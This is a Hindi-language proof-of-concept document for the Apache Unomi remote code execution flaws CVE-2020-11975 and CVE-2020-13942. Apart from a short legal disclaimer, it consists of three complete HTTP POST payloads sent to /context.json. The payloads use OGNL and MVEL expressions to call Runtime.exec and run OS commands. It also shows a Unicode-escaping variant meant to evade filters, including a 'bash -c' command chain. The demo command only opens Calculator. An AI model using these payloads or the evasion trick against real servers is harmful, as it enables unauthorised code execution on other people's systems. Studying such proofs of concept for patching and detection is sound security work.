
CVE-2020-11975 CVE-2020-13942
यहाँ प्रदान की गई भेद्यता पहचान विधियाँ, फ़ाइलें और अन्य सामग्री केवल सुरक्षा पेशेवरों द्वारा कानूनी प्राधिकरण प्राप्त करने के बाद उपयोग के लिए हैं, जिसका उद्देश्य अधिकृत सर्वर की सुरक्षा की जाँच करना है। सुरक्षा पेशेवरों को कानूनी नियमों का पालन करना चाहिए और बिना प्राधिकरण के कोई भी भेद्यता परीक्षण नहीं करना चाहिए।
(यह PoC केवल संस्करण <= 1.5.0 का पता लगाने का समर्थन करता है, बाद में CVE-2020-13942 के 2 PoC का उपयोग करने की अनुशंसा की जाती है, जो संस्करण <= 1.5.1 का पता लगाने का समर्थन करते हैं)
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 749
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#[email protected]@getRuntime()).(#r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals_anystr",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
नीचे (PoC) HTTP अनुरोध में OGNL अभिव्यक्ति Runtime प्राप्त करती है और Java reflection API का उपयोग करके एक OS कमांड निष्पादित करती है।
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 1143
{
"personalizations":[
{
"id":"gender-test_anystr",
"strategy":"matching-first",
"strategyOptions":{
"fallback":"var2_anystr"
},
"contents":[
{
"filters":[
{
"condition":{
"parameterValues":{
"propertyName":"(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"))",
"comparisonOperator":"equals",
"propertyValue":"male_anystr"
},
"type":"profilePropertyCondition"
}
}
]
}
]
}
],
"sessionId":"test-demo-session-id"
}
रूपांतरण: यूनिकोड एन्कोडिंग किया जा सकता है, पेलोड में वर्णों को \uXXXX प्रारूप में बदलें। यह भी सफलतापूर्वक काम करता है।
// जैसे
// e को \u0065 से बदल दिया गया
// . को \u002e से बदल दिया गया
(#runtim\u0065class = #this.getClass().forNam\u0065(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invok\u0065(null,null)).(#execmethod = #runtimeclass.getDeclar\u0065dMethods().{? #this.nam\u0065.\u0065quals(\"\u0065xec\")}.{? #this.g\u0065tParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod\u002einvok\u0065(#rtobj,\"/bin/bash -c $*|bash 0 /System/Applications/Calculator.app/Cont\u0065nts/MacOS/Calculator\"))
नीचे (PoC) HTTP अनुरोध में MVEL अभिव्यक्ति एक Runtime ऑब्जेक्ट बनाती है और OS कमांड चलाती है।
POST /context.json HTTP/1.1
Host: localhost:8181
Connection: close
Content-Length: 564
{
"filters": [
{
"id": "myfilter1_anystr",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec(\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "test-demo-session-id_anystr"
}
रूपांतरण: यूनिकोड एन्कोडिंग किया जा सकता है, पेलोड में वर्णों को \uXXXX प्रारूप में बदलें। यह भी सफलतापूर्वक काम करता है।